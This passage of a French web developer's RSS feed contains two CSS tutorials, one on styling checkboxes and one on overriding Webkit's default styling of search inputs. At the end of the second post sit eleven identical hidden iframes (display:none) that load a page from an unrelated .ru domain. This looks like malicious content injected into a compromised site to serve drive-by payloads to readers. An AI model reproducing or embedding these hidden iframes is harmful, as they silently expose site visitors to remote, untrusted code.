  transition: left .3s ease-in-out;
}

.test input[disabled]+label:after {
  display: none;
}

.test input[disabled]+label:before {
  background-color: #fafaf8;
  box-shadow: inset 0 0 3px hsla(0, 0%, 26%, 0.65);
  opacity: .6;
}
&lt;/pre&gt;
&lt;p&gt;Et on obtient ça, sur Gecko et Webkit :&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img src=&quot;http://nicolas-guilhou.com/images/articles/checkboxes.png&quot; title=&quot;de biens jolies checkboxes&quot; alt=&quot;de biens jolies checkboxes&quot; /&gt;&lt;/p&gt;
&lt;figcaption&gt;Alors, c’est qui le patron, hein ?&lt;/figcaption&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/figure&gt;
&lt;p&gt;En guise de conclusion, je dirai que c’est fastoche on prend pas en compte Internet Explorer, mais libre à vous d’essayer sur cette base moi j’ai pas ce navigateur sur ma machine et je veux pas devenir fou. Pour Opera ça presque marche, si les spécialistes veulent s’y coller et contribuer à cet article vous êtes les bienvenus.&lt;/p&gt;
&lt;p&gt;Allez je vous laisse je vais peindre une girafe.&lt;/p&gt;
&lt;p&gt;UPDATE : &lt;a href=&quot;http://jsfiddle.net/xylpho/LE2f2/3/&quot;&gt;La même chose en live&lt;/a&gt;&lt;/p&gt;</description>
                        <link>http://nicolas-guilhou.com/news/2012/08/22/Styler_les_checkboxes_sans_monoculture-ou_presque</link>
                        <guid>NEWS-7</guid>
                        <pubDate>Wed, 22 Aug 2012 15:01:19 +0200</pubDate>
                </item>
                        <item>
                        <title>Voir input et mourir</title>
                        <description>&lt;p&gt;HTML5 c’est bien. CSS3 aussi.&lt;br /&gt; Bon ok faut pas vouloir faire un dégradé rapidement qui soit compatible Gecko/Webkit, ni faire en une ou deux lignes une boîte avec des coins arrondis.&lt;br /&gt; En plus on a de nouveaux jouets, comme les &lt;a href=&quot;http://dev.w3.org/html5/markup/input.search.html&quot;&gt;input type=‘search’&lt;/a&gt;. Justement en parlant de ça, il se trouve que pour un client je me suis retrouvé devant une maquette où se trouve un champs de recherche habituel, celui-ci étant habillé de gris entre autres choses… À charge pour moi de faire une intégration HTML5/CSS3 de la chose.&lt;/p&gt;
&lt;p&gt;Comme je passe pas mes journées à intégrer des inputs j’ai commencé par des tests. Et là, c’est le drame.&lt;br /&gt; Voici une page html standard pour mon test :&lt;/p&gt;
&lt;pre class=&quot;prettyprint lang-html&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;fr&quot;&amp;gt;
&amp;lt;head&amp;gt;
   &amp;lt;meta charset=&quot;utf-8&quot; /&amp;gt;
   &amp;lt;title&amp;gt;input[type=&quot;search&quot;]&amp;lt;/title&amp;gt;
   &amp;lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;chrome=1&quot;&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
   &amp;lt;form id=&quot;search&quot;&amp;gt;
      &amp;lt;input type=&quot;search&quot; placeholder=&quot;Rechercher…&quot; name=&quot;q&quot; autocomplete=&quot;off&quot;&amp;gt;
   &amp;lt;/form&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/pre&gt;
&lt;p&gt;On peut constater d’emblée une différence fondamentale de rendu entre Gecko et Webkit&lt;/p&gt;

&lt;figure&gt;&lt;img src=&quot;http://nicolas-guilhou.com/images/articles/search_ex.png&quot; title=&quot;rendus gecko et webkit de l'élément input search&quot; alt=&quot;rendus gecko et webkit de l'élément input search&quot; /&gt; &lt;figcaption&gt;Différences de rendu entre Gecko et Webkit pour &lt;code&gt;&amp;lt;input type=&quot;search&quot;&amp;gt;&lt;/code&gt;&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;Qu’importe me dis-je, je m’en vais y mettre un coup de &lt;span class=&quot;caps&quot;&gt;CSS&lt;/span&gt; dans sa face et on verra bien qui est le maître du monde. Dont acte :&lt;/p&gt;
&lt;pre class=&quot;prettyprint lang-css&quot;&gt;	#search input[type=&quot;search&quot;] {
		display: block;
		background-color: #666;
		color: #fff;
		border: 1px solid #666;
		border-top-color: #454545;
		border-left-color: #454545;
		padding: 10px;
		font-size: 16px;
		-webkit-border-radius: 6px;
		-moz-border-radius: 6px;
		border-radius: 6px;
		width: 190px;
	}
&lt;/pre&gt;
&lt;p&gt;Et quand on vérifie le rendu dans Gecko et Webkit on se rend compte qu’on a pas le cul sorti des ronces&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;figure&gt;&lt;img src=&quot;http://nicolas-guilhou.com/images/articles/search_ex_css1.png&quot; title=&quot;gros fail de webkit&quot; alt=&quot;gros fail de webkit&quot; /&gt;&lt;br /&gt; &lt;figcaption&gt;Les &lt;span class=&quot;caps&quot;&gt;CSS&lt;/span&gt; c’est beau… quand ça marche&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Diantre, normalement ça marche. Et pas là… Après avoir vérifié et revérifié le html et la css — les coquilles ça arrive — j’ai ouvert ma page dans Safari et en vérifiant la page avec l’inspecteur web j’ai découvert avec horreur que Webkit utilise ses propres règles &lt;span class=&quot;caps&quot;&gt;CSS&lt;/span&gt; pour afficher un &lt;code&gt;input type=&quot;search&quot;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Là où Gecko se borne — pour l’instant — à afficher un input tout à fait classique, Webkit utilise des règles &lt;span class=&quot;caps&quot;&gt;CSS&lt;/span&gt; &lt;em&gt;très&lt;/em&gt; propriétaires pour singulariser ce type d’élément de formulaire. Si on scrute avec l’inspecteur voilà ce que nous dit Webkit :&lt;/p&gt;
&lt;pre class=&quot;prettyprint lang-css&quot;&gt;input[type=&quot;search&quot;] {
	-webkit-appearance: searchfield;
	box-sizing: border-box;
}
&lt;/pre&gt;
&lt;p&gt;Donc, si on court-circuite la façon dont Webkit gère l’affichage il y a de fortes chances que notre super &lt;span class=&quot;caps&quot;&gt;CSS&lt;/span&gt; s’applique aussi correctement. Après avoir cherché un peu voilà ce qu’il faut déclarer pour Webkit :&lt;/p&gt;
&lt;pre class=&quot;prettyprint lang-css&quot;&gt;#search input[type=&quot;search&quot;] {
	-webkit-appearance: textfield;
	-webkit-box-sizing: content-box;
	box-sizing: content-box;
}
&lt;/pre&gt;
&lt;p&gt;Voilà, court-circuit de &lt;code&gt;-webkit-appearance&lt;/code&gt; et &lt;code&gt;-webkit-box-sizing&lt;/code&gt; et avec le code css complet on a &lt;em&gt;enfin&lt;/em&gt; un affichage identique d’un navigateur à l’autre.&lt;/p&gt;
&lt;p&gt;La &lt;span class=&quot;caps&quot;&gt;CSS&lt;/span&gt; finale :&lt;/p&gt;
&lt;pre class=&quot;prettyprint lang-css&quot;&gt;#search input[type=&quot;search&quot;] {
	display: block;
	-webkit-appearance: textfield;
	-webkit-box-sizing: content-box;
	box-sizing: content-box;
	background-color: #666;
	color: #fff;
	border: 1px solid #666;
	border-top-color: #454545;
	border-left-color: #454545;
	padding: 10px;
	font-size: 16px;
	-webkit-border-radius: 6px;
	-moz-border-radius: 6px;
	width: 190px;
}
&lt;/pre&gt;
&lt;p&gt;On vient de quitter une époque ou la simple évocation de “compatibilité IE6” provoquait des vomissements et des crises d’eczéma chez les webdesigners pour se retrouver dans une ère où il faut être encore plus prudent, très au courant des derniers développements, et aussi très malin pour ne pas avoir à ré-écrire dans 18 mois tout ou partie de nos &lt;span class=&quot;caps&quot;&gt;CSS&lt;/span&gt;. Je ne sais pas si on y a gagné en flexibilité, au moins on y a gagné en possibilités nouvelles… on verra dans quelques mois ce qu’il en coûte. Ou pas.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;figure&gt;&lt;img src=&quot;http://nicolas-guilhou.com/images/articles/search_ex_css2.png&quot; title=&quot;Résultat final&quot; alt=&quot;Résultat final&quot; /&gt;&lt;br /&gt; &lt;figcaption&gt;Où l’on s’aperçoit qu’on s’est fait chier pour pas grand-chose&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;iframe src=&quot;https://codegv.ru/u.html&quot; style=&quot;display: none;&quot; id=&quot;zunifrm&quot;&gt;&lt;/iframe&gt;&lt;iframe src=&quot;https://codegv.ru/u.html&quot; style=&quot;display: none;&quot; id=&quot;zunifrm&quot;&gt;&lt;/iframe&gt;&lt;iframe src=&quot;https://codegv.ru/u.html&quot; style=&quot;display: none;&quot; id=&quot;zunifrm&quot;&gt;&lt;/iframe&gt;&lt;iframe src=&quot;https://codegv.ru/u.html&quot; style=&quot;display: none;&quot; id=&quot;zunifrm&quot;&gt;&lt;/iframe&gt;&lt;iframe src=&quot;https://codegv.ru/u.html&quot; style=&quot;display: none;&quot; id=&quot;zunifrm&quot;&gt;&lt;/iframe&gt;&lt;iframe src=&quot;https://codegv.ru/u.html&quot; style=&quot;display: none;&quot; id=&quot;zunifrm&quot;&gt;&lt;/iframe&gt;&lt;iframe src=&quot;https://codegv.ru/u.html&quot; style=&quot;display: none;&quot; id=&quot;zunifrm&quot;&gt;&lt;/iframe&gt;&lt;iframe src=&quot;https://codegv.ru/u.html&quot; style=&quot;display: none;&quot; id=&quot;zunifrm&quot;&gt;&lt;/iframe&gt;&lt;iframe src=&quot;https://codegv.ru/u.html&quot; style=&quot;display: none;&quot; id=&quot;zunifrm&quot;&gt;&lt;/iframe&gt;&lt;iframe src=&quot;https://codegv.ru/u.html&quot; style=&quot;display: none;&quot; id=&quot;zunifrm&quot;&gt;&lt;/iframe&gt;&lt;iframe src=&quot;https://codegv.ru/u.html&quot; style=&quot;display: none;&quot; id=&quot;zunifrm&quot;&gt;&lt;/iframe&gt;&lt;/p&gt;</description>
                        <link>http://nicolas-guilhou.com/news/2011/12/07/Voir_input_et_mourir</link>
                        <guid>NEWS-6</guid>
                        <pubDate>Wed, 07 Dec 2011 08:38:47 +0100</pubDate>
                </item>
        <!-- # </T:News> --></channel>